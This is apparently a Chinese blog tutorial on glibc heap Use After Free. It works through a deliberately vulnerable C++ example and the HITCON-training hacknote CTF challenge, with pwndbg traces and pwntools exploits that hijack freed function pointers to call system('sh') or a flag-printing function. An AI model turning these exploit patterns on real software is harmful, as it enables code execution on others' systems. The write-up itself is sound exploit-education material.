Use After Free

0x00:前言

读了大佬推荐的Linux内存管理文章,感觉多多少少了解了一些Linux下堆的管理,前段时间一直在学Windows内核,现在又来恶补Linux,菜是原罪,话不多说,这里我就记录一下堆溢出中最简单的题目

0x01:漏洞介绍

Glibc Heap 利用中,Use After Free(UAF)是很常见的一种,那么什么是UAF呢?

简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况:

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

0x02:例子

Example One

首先创建一个UAF.cpp,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include<cstdio>
#include<cstdlib>
#include<cstring>

class A
{
public:
virtual void print()
{
puts("class A");
}
};

class B: public A
{
public:
void print()
{
puts("class B");
}
};

void sh()
{
system("sh");
}

char buf[1024];

int main()
{
setvbuf(stdout,0,_IONBF,0);
A *p = new B();
delete p; //删除堆p
fgets(buf,sizeof(buf),stdin);
char *q = strdup(buf);

p->print(); //继续使用p,触发漏洞,程序会报错
return 0;
}

编译:

1
g++ use_after_free.cpp -o use_after_free -g -w -no-pie

运行结果:

1
2
3
root@Thunder_J-virtual-machine:~/桌面# ./UAF
aaaa
段错误 (核心已转储)

为什么错误呢?原因很简单,我们之前已经释放过p了,现在又来调用当然会错误,现在我们动态调试一下。
首先我们需要在main函数下个断点,然后单步观察

1
2
pwndbg> b main
Breakpoint 1 at 0x400863: file UAF.cpp, line 32.

我们运行到delete p的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
pwndbg> n
34 delete p; //删除堆p
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
RBX 0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
RCX 0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
RDX 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
RDI 0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
RSI 0x0
R8 0x7ffff7a488c0 (_IO_stdfile_1_lock) ◂— 0x0
R9 0x0
R10 0x602010 ◂— 0x0
R11 0x0
R12 0x400760 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe0e0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe000 —▸ 0x400980 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffdfe0 —▸ 0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
RIP 0x4008a1 (main+71) ◂— mov rax, qword ptr [rbp - 0x20]
─────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────
► 0x4008a1 <main+71> mov rax, qword ptr [rbp - 0x20]
0x4008a5 <main+75> mov esi, 8
0x4008aa <main+80> mov rdi, rax
0x4008ad <main+83> call 0x400720

0x4008b2 <main+88> mov rax, qword ptr [rip + 0x2007b7] <0x601070>
0x4008b9 <main+95> mov rdx, rax
0x4008bc <main+98> mov esi, 0x400
0x4008c1 <main+103> lea rdi, [rip + 0x2007b8] <0x601080>
0x4008c8 <main+110> call fgets@plt <0x400740>

0x4008cd <main+115> lea rdi, [rip + 0x2007ac] <0x601080>
0x4008d4 <main+122> call strdup@plt <0x400750>
─────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────────────
In file: /home/Thunder_J/桌面/UAF.cpp
29
30 int main()
31 {
32 setvbuf(stdout,0,_IONBF,0);
33 A *p = new B();
► 34 delete p; //删除堆p
35 fgets(buf,sizeof(buf),stdin);
36 char *q = strdup(buf);
37
38 p->print(); //继续使用p,触发漏洞,程序会报错
39 return 0;
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdfe0 —▸ 0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
01:0008│ 0x7fffffffdfe8 —▸ 0x400760 (_start) ◂— xor ebp, ebp
02:0010│ 0x7fffffffdff0 —▸ 0x7fffffffe0e0 ◂— 0x1
03:0018│ 0x7fffffffdff8 ◂— 0x0
04:0020│ rbp 0x7fffffffe000 —▸ 0x400980 (__libc_csu_init) ◂— push r15
05:0028│ 0x7fffffffe008 —▸ 0x7ffff767cb97 (__libc_start_main+231) ◂— mov edi, eax
06:0030│ 0x7fffffffe010 ◂— 0xffffffffffffff90
07:0038│ 0x7fffffffe018 —▸ 0x7fffffffe0e8 —▸ 0x7fffffffe412 ◂— 0x73782f656d6f682f ('/home/xs')
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 4008a1 main+71
f 1 7ffff767cb97 __libc_start_main+231

我们查看堆情况

1
2
3
4
5
6
7
8
9
pwndbg> heap p
0x613e70 {
mchunk_prev_size = 6294984,
mchunk_size = 0,
fd = 0x0,
bk = 0xf181,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

根据p我们查看一下chunk指向的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> x/20gx 0x613e70-16
0x613e60: 0x0000000000000000 0x0000000000000021
0x613e70: 0x0000000000600dc8 0x0000000000000000
0x613e80: 0x0000000000000000 0x000000000000f181
0x613e90: 0x0000000000000000 0x0000000000000000
0x613ea0: 0x0000000000000000 0x0000000000000000
0x613eb0: 0x0000000000000000 0x0000000000000000
0x613ec0: 0x0000000000000000 0x0000000000000000
0x613ed0: 0x0000000000000000 0x0000000000000000
0x613ee0: 0x0000000000000000 0x0000000000000000
0x613ef0: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x0000000000600dc8
0x600dc8 <_ZTV1B+16>: 0x0000000000400918 0x0000000000000000
0x600dd8 <_ZTV1A+8>: 0x0000000000600e00 0x00000000004008fc
0x600de8 <_ZTI1B>: 0x00007ffff7dc7438 0x0000000000400a17
0x600df8 <_ZTI1B+16>: 0x0000000000600e00 0x00007ffff7dc67f8
0x600e08 <_ZTI1A+8>: 0x0000000000400a1a 0x0000000000000001
pwndbg> x/10gx 0x0000000000400918
0x400918 <B::print()>: 0x10ec8348e5894855 0xe13d8d48f87d8948
0x400928 <B::print()+16>: 0xfffffe00e8000000 0xe589485590c3c990
0x400938 <A::A()+4>: 0x9d158d48f87d8948 0x48f8458b48002004
0x400948 <A::A()+20>: 0x485590c35d901089 0x894810ec8348e589
0x400958 <B::B()+10>: 0x8948f8458b48f87d 0x8d48ffffffcee8c7

可以看到最终指向的地址是B中的print()函数,我们继续单步直到p->print()处,也就是漏洞触发之后,再次查看此内存

1
2
3
4
5
6
pwndbg> x/10gx 0x613e70-16
0x613e60: 0x0000000000000000 0x0000000000000021
0x613e70: 0x6665656264616564 0x000000000000000a
0x613e80: 0x0000000000000000 0x0000000000000411
0x613e90: 0x6665656264616564 0x000000000000000a
0x613ea0: 0x0000000000000000 0x0000000000000000

可以看到0x613e70处内容已经修改为我们写入的deadbeef,我们查看一下汇编

1
2
3
4
5
6
7
8
9
10
11
pwndbg> disassemble /m main
Dump of assembler code for function main():
...
38 p->print(); //继续使用p,触发漏洞,程序会报错
=> 0x00000000004008dd <+131>: mov rax,QWORD PTR [rbp-0x20]
0x00000000004008e1 <+135>: mov rax,QWORD PTR [rax]
0x00000000004008e4 <+138>: mov rax,QWORD PTR [rax]
0x00000000004008e7 <+141>: mov rdx,QWORD PTR [rbp-0x20]
0x00000000004008eb <+145>: mov rdi,rdx
0x00000000004008ee <+148>: call rax
...

我们查看寄存器信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0x613e70 ◂— 'deadbeef\n'
RBX 0x613e70 ◂— 'deadbeef\n'
RCX 0xa666565626461
RDX 0xa
RDI 0x613e70 ◂— 'deadbeef\n'
RSI 0x6665656264616564 ('deadbeef')
R8 0x613e99 ◂— 0x0
R9 0x7ffff7fd7d80 ◂— 0x7ffff7fd7d80
R10 0x6
R11 0x7ffff76f89a0 (strdup) ◂— push rbp
R12 0x400760 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe0e0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe000 —▸ 0x400980 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffdfe0 —▸ 0x613e70 ◂— 'deadbeef\n'
RIP 0x4008dd (main+131) ◂— mov rax, qword ptr [rbp - 0x20]

我们发现RAX的内容就是我们输入的信息,结合汇编代码可以发现,最终的call rax这句代码将执行的我们输入的数据所指的地址的代码,也就是我们可以通过输入来getshell,我们通过IDA找到函数的地址

exp:

1
2
3
4
5
6
from pwn import *
p = process('./UAF')
buf_addr = 0x00601080
sh_addr = 0x0400847
p.sendline(p64(buf_addr+8) + p64(sh_addr))
p.interactive()

Example Two

题目链接

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/use_after_free/hitcon-training-hacknote

解题思路

首先运行一下程序,可以看到Menu中有一下几个选项:

1
2
3
4
5
6
7
8
9
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :

我们分别来分析一下各个函数的功能:

add_note

可以看出该函数主要就是创建 note ,最多能够创建5个,每个 note 有两个字段 put 与 content,其中 put 会被设置为一个函数,其函数会输出 content 具体的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int add_note()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !notelist[i] )
{
notelist[i] = malloc(8u);
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)notelist[i] = print_note_content;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = notelist[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)notelist[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)notelist[i] + 1), size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}

该函数就是输出相应note的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
notelist[v1]->put(notelist[v1]);
return __readgsdword(0x14u) ^ v3;
}

delete_note

该函数主要就是删除对应的note,但是在删除的时候只是进行了free而并没有置为NULL,这里就存在UAF漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
{
free(notelist[v1]->content);
free(notelist[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

我们可以在IDA中看到程序有一个叫做magic的函数,它的作用就是 cat flag,所以我们只需要修改 note 的 put 字段为 magic 函数的地址,从而实现在执行 print note 的时候执行 magic 函数。

因为note是一个fastbin chunk(大小为 16 字节),我们需要将note的put字段修改为magic函数的地址,而fastbin chunk是一个单链表有LIFO的特性,所以我们从申请入手,利用过程如下:

  1. 申请 note0,real content size 为 16(大小不为8即可)
  2. 申请 note1,real content size 为 16(同上)
  3. 释放 note0
  4. 释放 note1
  5. 此时,大小为 16 的 fast bin chunk 中链表为 note1->note0
  6. 申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则 note2 其实会分配 note1 对应的内存块。
  7. real content 对应的 chunk 其实是 note0。
  8. 如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数。

我们动态调试一下整个过程:

1
2
3
4
5
6
7
8
9
pwndbg> heap
0x804b000 {
mchunk_prev_size = 0,
mchunk_size = 0,
fd = 0x0,
bk = 0x151,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

可以看到我们的数据已经成功申请

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x804b150
0x804b150: 0x0000000000000000 0x0000001100000000
0x804b160: 0x0804b1700804865b 0x0000002100000000
0x804b170: 0x0000000061616161 0x0000000000000000
0x804b180: 0x0000000000000000 0x0000001100000000
0x804b190: 0x0804b1a00804865b 0x0000002100000000
0x804b1a0: 0x0000000a61616161 0x0000000000000000
0x804b1b0: 0x0000000000000000 0x00021e4900000000
0x804b1c0: 0x0000000000000000 0x0000000000000000
0x804b1d0: 0x0000000000000000 0x0000000000000000
0x804b1e0: 0x0000000000000000 0x0000000000000000

删除之后可以再次来看堆的信息可以看到大小为 16 的 fast bin chunk 中链表为 note1->note0

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x804b150
0x804b150: 0x0000000000000000 0x0000001100000000
0x804b160: 0x0804b17000000000 0x0000002100000000
0x804b170: 0x0000000000000000 0x0000000000000000
0x804b180: 0x0000000000000000 0x0000001100000000
0x804b190: 0x0804b1a00804b160 0x0000002100000000
0x804b1a0: 0x0000000a0804b170 0x0000000000000000
0x804b1b0: 0x0000000000000000 0x00021e4900000000
0x804b1c0: 0x0000000000000000 0x0000000000000000
0x804b1d0: 0x0000000000000000 0x0000000000000000
0x804b1e0: 0x0000000000000000 0x0000000000000000

我们重新申请大小为8,内容为aaaa的note再打印note0就会改变eip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> c
Continuing.
Index :0

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
EAX 0x61616161 ('aaaa')
EBX 0x0
ECX 0x0
EDX 0x804b160 ◂— 0x61616161 ('aaaa')
EDI 0x0
ESI 0xf7faf000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
EBP 0xffffd188 —▸ 0xffffd1a8 ◂— 0x0
ESP 0xffffd15c —▸ 0x804896f (print_note+154) ◂— add esp, 0x10
EIP 0x61616161 ('aaaa')
───────────────────────────────────[ DISASM ]───────────────────────────────────
Invalid address 0x61616161



───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffffd15c —▸ 0x804896f (print_note+154) ◂— add esp, 0x10
01:0004│ 0xffffd160 —▸ 0x804b160 ◂— 0x61616161 ('aaaa')
02:0008│ 0xffffd164 —▸ 0xffffd178 —▸ 0xf7fa0a30 ◂— add dword ptr [edx + 0xe], eax
03:000c│ 0xffffd168 ◂— 0x4
04:0010│ 0xffffd16c —▸ 0x8048a32 (menu+147) ◂— add esp, 0x10
05:0014│ 0xffffd170 —▸ 0x8048c63 ◂— pop ecx /* 'Your choice :' */
06:0018│ 0xffffd174 ◂— 0x0
07:001c│ 0xffffd178 —▸ 0xf7fa0a30 ◂— add dword ptr [edx + 0xe], eax
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 61616161
f 1 804896f print_note+154
f 2 8048ad3 main+155
f 3 f7defe81 __libc_start_main+241
Program received signal SIGSEGV (fault address 0x61616161)

我们只需要将aaaa改为我们magic的地址即可,而magic函数的地址是在IDA中可以看到的

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import*

r = process('./hacknote')


def addnote(size,content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)


def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))


def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))

magic_addr = 0x8048986

addnote(16,"aaaa")
addnote(16,"aaaa")

delnote(0)
delnote(1)

addnote(8,p32(magic_addr))

printnote(0)

r.interactive()

上面的exp并不能拿到shell,只能获得flag,为了拿到shell我们还需要执行system(‘/bin/sh’),下面的版本才是getshell的exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

r = process('./hacknote')
elf = ELF('./hacknote')
#r = remote("",)

context.log_level = 'debug'

context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']

if args.G:
gdb.attach(r)

magic_addr = 0x08048986
system_addr = 0x8048500+6

def add_note(size,context):
r.recvuntil(':')
r.send('1')
r.recvuntil(':')
r.send(str(size))
r.recvuntil(':')
r.send(context)

def del_note(index):
r.recvuntil(':')
r.send('2')
r.recvuntil(':')
r.send(str(index))

def print_note(index):
r.recvuntil(':')
r.send('3')
r.recvuntil(':')
r.send(str(index))

add_note(20,'aaaa')
add_note(20,'bbbb')

del_note(0)
del_note(1)

add_note(8,p32(system_addr)+';sh;') # system("address;sh;")

print_note(0)

r.interactive()

system函数地址分布如下,+6 的原因是直接走push 0x38的位置,让程序直接去解析system函数真正的位置,也就是执行dl_runtime_resolve(link_map, index) 函数解析system函数的位置,具体原理详见 ret2dl-resolve

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/10i 0x8048500
0x8048500 <system@plt>: jmp DWORD PTR ds:0x804a028
0x8048506 <system@plt+6>: push 0x38
0x804850b <system@plt+11>: jmp 0x8048480
0x8048510 <exit@plt>: jmp DWORD PTR ds:0x804a02c
0x8048516 <exit@plt+6>: push 0x40
0x804851b <exit@plt+11>: jmp 0x8048480
0x8048520 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804a030
0x8048526 <__libc_start_main@plt+6>: push 0x48
0x804852b <__libc_start_main@plt+11>: jmp 0x8048480
0x8048530 <setvbuf@plt>: jmp DWORD PTR ds:0x804a034

0x03:总结

Pwn中的堆确实是比赛中考察的一个重点,要多练习